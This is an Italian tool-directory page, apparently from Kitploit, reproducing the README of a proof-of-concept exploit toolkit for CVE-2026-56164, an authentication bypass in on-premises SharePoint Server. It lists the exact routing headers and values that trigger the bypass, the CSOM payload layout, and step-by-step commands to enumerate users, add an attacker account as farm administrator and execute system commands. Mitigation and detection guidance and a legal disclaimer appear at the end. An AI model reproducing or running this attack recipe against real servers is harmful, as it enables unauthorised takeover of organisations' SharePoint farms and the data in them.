Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164 è una vulnerabilità critica di mancata autenticazione che colpisce Microsoft SharePoint Server on-premises. Consente ad attaccanti remoti non autenticati di elevare i privilegi attraverso la rete. | Kitploit
Strumenti/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Autenticazione e AutorizzazioneEscalation di PrivilegiScanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
sam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164 è una vulnerabilità critica di mancata autenticazione che colpisce Microsoft SharePoint Server on-premises. Consente ad attaccanti remoti non autenticati di elevare i privilegi attraverso la rete.

Vedi Repository
215 giorni faNon ancora revisionato

CVE-2026-56164 — Exploit di bypass dell'autenticazione di Microsoft SharePoint Server

Critico (CVSS 9.8) — Escalation di privilegi non autenticata ad Amministratore Farm in Microsoft SharePoint Server

Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Versioni interessate
  • Diagrammi di architettura
  • Struttura del progetto
  • Installazione
  • Uso dello Scanner — Passo dopo passo
  • Uso dell'Exploit — Passo dopo passo
  • Progettazione del Payload
  • Mitigazione
  • Disclaimer

Panoramica

CVE-2026-56164 è una vulnerabilità critica di autenticazione mancante in Microsoft SharePoint Server che consente a un utente remoto non autenticato di elevare i propri privilegi fino al livello di Amministratore Farm. La vulnerabilità risiede nell'assembly Microsoft.Office.Server.UserProfiles, che elabora le richieste SOAP all'indirizzo /_vti_bin/client.svc/ProcessQuery.

Omettendo intenzionalmente l'header X-RequestDigest e fornendo specifici header di routing, il server vulnerabile ripiega su un contesto di sicurezza elevato invece di rifiutare la richiesta non autenticata. Ciò consente ad attaccanti anonimi di enumerare raccolte siti, utenti e configurazione della farm, aggiungere amministratori ed eseguire comandi.

CISA KEV: questa vulnerabilità è elencata nel catalogo Known Exploited Vulnerabilities di CISA a causa dello sfruttamento attivo in ambiente reale.


Dettagli della vulnerabilità

Causa principale

Il gestore Microsoft.Office.Server.UserProfiles elabora le richieste SOAP all'indirizzo /_vti_bin/client.svc/ProcessQuery. In condizioni normali, SharePoint valida l'header X-RequestDigest per accertare il contesto di autenticazione. Tuttavia, esiste un bypass di validazione:

  1. Se X-RequestDigest è assente E sono presenti specifici header di routing
  2. Il sistema valuta i parametri di routing e ripiega su uno stato predefinito con privilegi elevati
  3. La richiesta viene elaborata con credenziali a livello di sistema invece del contesto di sicurezza del chiamante

Percorso del codice vulnerabile

root@kitploit:~
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

Codice corretto

root@kitploit:~
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Riferimenti degli advisory

  • MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Versioni interessate

ProdottoVersioni interessateVersione corretta
SharePoint Enterprise Server 2016Tutte le 16.0.x precedenti alla patch16.0.5561.1001
SharePoint Server 2019Tutte le 16.0.x precedenti alla patch

Non interessate: SharePoint Online (Microsoft 365)


Diagrammi di architettura

Architettura di sistema

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Flusso dello scanner

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Flusso dell'exploit (catena completa)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Struttura del progetto

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installazione

root@kitploit:~
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

Requisiti: Python 3.8+, libreria requests (opzionale — di default viene usato urllib della libreria standard).


Uso dello Scanner — Passo dopo passo

Lo scanner esegue controlli sicuri e non intrusivi per identificare target SharePoint Server vulnerabili.

Passo 1: Scansione di un singolo target

root@kitploit:~
python3 scan.py --target sharepoint.example.com

Lo scanner:

  • Sonda le porte comuni (443, 80, 8080, 8443)
  • Invia richieste HTTP e verifica la presenza di impronte SharePoint (header, contenuto del corpo)
  • Estrae la versione di SharePoint dall'header MicrosoftSharePointTeamServices
  • Verifica se la versione rientra negli intervalli vulnerabili
  • Testa il bypass dell'autenticazione (opzionale)
  • Stampa un report con codifica a colori

Passo 2: Scansione con porta specifica

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

Passo 3: Scansione di più target da file

Creare un file targets.txt:

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
root@kitploit:~
python3 scan.py --targets targets.txt

Passo 4: Salta il test di bypass (solo fingerprint)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

Passo 5: Salva i risultati come JSON

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

Cosa rileva lo scanner


Uso dell'Exploit — Passo dopo passo

L'exploit supporta cinque modalità di intensità crescente.

Modalità 1: Rilevamento (sicura, non intrusiva)

Testa il bypass dell'autenticazione confrontando una richiesta normale (con digest) con una richiesta di bypass (senza digest + header di routing).

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

Modalità 2: Enumerazione (divulgazione di informazioni)

Estrae raccolte siti, utenti e configurazione della farm utilizzando il bypass dell'autenticazione.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

Modalità 3: Elevazione (escalation dei privilegi)

Eleva il contesto anonimo corrente o un utente specifico ad Amministratore della Site Collection / Farm.

root@kitploit:~
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Modalità 4: Esecuzione (esecuzione di comandi)

Esegue un comando di sistema tramite il servizio SOAP di amministrazione di SharePoint.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Modalità 5: Catena completa (Rilevamento → Enumerazione → Elevazione → Esecuzione)

Esegue in sequenza la catena completa dell'exploit.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Opzioni comuni

  • --port / -p: Porta del target (predefinita: 443)
  • --http: Usa HTTP invece di HTTPS
  • --site-url / -s: URL del sito SharePoint (predefinito: target)
  • --json / -j: Salva il report come JSON
  • --timeout: Timeout delle richieste in secondi (predefinito: 30)

Progettazione del Payload

Meccanismo di bypass dell'autenticazione

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

Struttura del payload CSOM

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

Header di routing di bypass


Mitigazione

Azioni immediate

  1. Applicare gli aggiornamenti di sicurezza Microsoft — Installare le patch di SharePoint di luglio 2026
  2. Limitare l'accesso — Limitare gli endpoint SharePoint solo a reti fidate
  3. Bloccare l'accesso esterno agli endpoint /_vti_bin/ tramite regole reverse proxy/WAF
  4. Monitorare i log per richieste non autenticate a /_vti_bin/client.svc/ProcessQuery

Versioni corrette

  • SharePoint Enterprise Server 2016: 16.0.5561.1001+
  • SharePoint Server 2019: 16.0.10417.20175+
  • SharePoint Server Subscription Edition: 16.0.19725.20434+

Rilevamento

  • Cercare richieste POST a /_vti_bin/client.svc/ProcessQuery senza header X-RequestDigest
  • Cercare richieste con più header di routing di bypass (X-SharePoint-Authenticated, SPHomeBearerHint, ecc.)
  • Monitorare aggiunte impreviste di Amministratori della Site Collection
  • Avvisare su richieste SOAP a /_vti_bin/SharePointAdmin.asmx da origini non autenticate

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. L'uso non autorizzato su sistemi di produzione è illegale e potrebbe violare le leggi sulla criminalità informatica e sull'abuso informatico.

Gli autori non si assumono alcuna responsabilità per un uso improprio di questo strumento. Segui sempre pratiche di divulgazione responsabile e rispetta leggi e regolamenti applicabili.

Scarica lo strumento
CampoValore
CVE IDCVE-2026-56164
GravitàCRITICO
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: Mancata autenticazione per funzioni critiche
ImpattoElevazione di privilegi non autenticata ad Amministratore Farm
Stato dello sfruttamentoSfruttamento attivo (CISA KEV)
MITRE ATT&CKT1190 (Exploit Public-Facing Application)
16.0.10417.20175
SharePoint Server Subscription EditionTutte le 16.0.x precedenti alla patch16.0.19725.20434
IndicatoreMetodo
SharePoint ServerFingerprinting tramite header HTTP (MicrosoftSharePointTeamServices, SPRequestGuid)
Versione del serverParsing degli header + regex nel corpo della risposta
Versione vulnerabileConfronto con le versioni corrette di CVE-2026-56164
Bypass dell'autenticazioneRichiesta CSOM senza X-RequestDigest + header di routing di bypass
Certificato SSLOggetto/emittente del certificato per l'identificazione del target
HeaderValoreScopo
X-SharePoint-Authenticated1Dichiara che l'autenticazione è già stata superata
X-SP-RequestRightsFullControlRichiede permessi di controllo completo
X-SP-RequestRights2ManageLists, ManageWebDiritti di gestione aggiuntivi
SPHomeBearerHintfarmadminSuggerisce un contesto di amministratore farm
X-RequestForceAuthenticationfalseDisabilita l'autenticazione forzata
X-SP-ProxyinternalDichiara un'origine proxy interna
X-Forwarded-For127.0.0.1Spoofa l'origine locale
X-Original-URL/_vti_bin/client.svc/ProcessQueryDirettiva di routing